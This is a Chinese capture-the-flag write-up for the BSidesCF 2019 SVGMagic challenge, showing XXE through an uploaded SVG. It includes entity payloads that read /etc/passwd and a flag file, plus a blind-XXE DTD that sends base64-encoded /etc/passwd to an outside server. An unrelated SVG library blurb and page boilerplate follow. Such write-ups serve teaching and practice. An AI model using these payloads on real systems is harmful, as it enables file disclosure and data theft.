[BSidesCF 2019]SVGMagic (XXE)

[BSidesCF 2019]SVGMagic

首先打开界面,感觉就是一个文件上传的题目 ,然后上传了jpg/php/png/.htaccess,感觉不是一道简单的题目,但是抓包也没有什么有用的信息。

页面上的英文翻译过来就是,使用Magic将SVG转换为PNG,所以考察的是SVG但是没遇到过

 搜索svg发现了和xxe的漏洞

 进入文章之后,就看到了svg格式的xxe如下所示,

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

普通的xml二者对比,改变不多也就是<svg的标签,和宽高 

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
      <user>
            <username>bob</username>
            <password>passwd2</password>
            <name> Bob</name>
            <email>bob@fakesite.com</email>
            <group>CSAW2019</group>
            <intro>&xxe;</intro>
      </user>
</users>

 然后直接上传  2.svg

读取成功然后就要猜测flag在哪里了,我们并不知道flag的路径,而/proc/self/pwd/代表的是当前路径,可以构造/proc/self/cwd/flag.txt读取文件。当前进程工作目录

然后本来用的f*发现通配符在这不可以使用

 

 

盲注XXE

原理:有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

本来想手动搭建一个blindxxe漏洞的场景,但是调试了半天,

报错整的太难受了,以后有能力再来复现。

说一下简单的原理:

首先在本地构建一个靶机,里面是盲注xxe的代码。

然后我们自己使用一个vps,在根目录 /var/www/html 下创建一个a.dtd文件

<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.168.168:8888/?%file;'>"> 

&#37;   这个其实就是%因为被包含了所以用这个代替

最后burp 抓包靶机,payload为

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/a.dtd">
%remote;%int;%send;
]>

最后发包,%remote先调用,vps上的 dtd文件,然后%int调用读取文件,最后send把读取后的发送到远程vps上,样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

参考文件:浅析无回显的XXE(Blind XXE) - FreeBuf网络安全行业门户

浅谈SVG的两个黑魔法_svg (sohu.com)

一个好用的DELPHI SVG库。 SVG全名是可缩放矢量图形(英语:Scalable Vector Graphics,SVG),是一种基于可扩展标记语言(XML),用于描述二维矢量图形的图形格式。 SVG格式具有以下优点: * 图像文件可读,易于修改和编辑(理论上如此,但实际上却是因为各种不同的SVG档编辑器而可能存储成不易解读的SVG文件) * 与现有技术可以互动融合。例如,SVG技术本身的动态部分(包括时序控制和动画)就是基于SMIL标准。另外,SVG文件还可嵌入JavaScript(严格地说,应该是ECMAScript)脚本来控制SVG对象 * SVG图形格式可以方便的创建文字索引,从而实现基于内容的图像搜索 * SVG图形格式支持多种滤镜和特殊效果,在不改变图像内容的前提下可以实现位图格式中类似文字阴影的效果。 * SVG图形格式可以用来动态生成图形。例如,可用SVG动态生成具有交互功能的地图,嵌入网页中,并显示给终端用户。 SVG格式具有以下缺点: * 如何和已经占有重要市场份额的矢量图形格式Adobe Animate竞争的问题。事实上,Adobe Animate在Flash CC 2014版及以后的版本就都支持直接导出SVG文件了。 * SVG的本地运行环境下的厂家支持程度。 * 由于原始的SVG档是遵从XML语法,导致数据采用未压缩的方式存放,因此相较于其他的矢量图形格式,同样的文件内容会比其他的文件格式稍大。Adobe因此使用gzip压缩开发出压缩的SVG档格式,附文件名为 .svgz, 但此种文件格式除了Adobe旗下的软件以外,未被广泛支持使用。 * 旧版的SVG Viewer无法正确显示出使用新版SVG格式的矢量图形。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值